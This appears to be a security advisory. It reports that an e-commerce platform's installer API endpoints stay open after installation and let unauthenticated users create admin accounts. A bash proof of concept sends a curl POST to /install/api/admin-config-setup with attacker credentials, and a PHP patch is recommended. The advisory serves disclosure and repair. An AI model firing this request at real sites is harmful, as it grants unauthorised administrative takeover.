API routes remain active even after initial installation is complete, allowing any unauthenticated attacker to:
- Create admin accounts
- Modify application configuration
- Potentially overwrite existing data
the underlying API endpoints (/install/api/*) are directly accessible and exploitable without any authentication. An attacker can bypass the Ib installer entirely by calling the API endpoints directly.
How to Reproduce
- The Ib installer UI at
http://localhost:8000/installhas client-side protections - However, the API endpoints are directly exploitable:
- The attack works by calling
/install/api/admin-config-setupdirectly via curl/HTTP client - No CSRF token, session, or authentication is required
- The Ib UI workflow is completely bypassed
- The attack works by calling
Proof of Concept
#!/bin/bash
# PoC: Create admin account without authentication
TARGET="http://localhost:8000"
# Create a new admin account
curl -X POST "$TARGET/install/api/admin-config-setup" \
-H "Content-Type: application/json" \
-d '{
"admin_name": "Attacker",
"admin_email": "attacker@evil.com",
"admin_password": "HackedPassword123"
}'
echo ""
echo "New admin account created!"
echo "Login at: $TARGET/admin"
echo "Email: attacker@evil.com"
Expected Result
The API should reject unauthenticated requests with 401/403 status.
Actual Result
The API accepts the request and creates a new admin account, allowing full administrative access to the e-commerce platform.
Recommended Patch
Add installation completion check
// In InstallerController.php or a new middleware
public function __construct()
{
// Check if application is already installed
if (file_exists(base_path('.env')) &&
config('app.key') &&
\Schema::hasTable('admins') &&
\DB::table('admins')->count() > 0) {
abort(404, 'Application already installed');
}
}
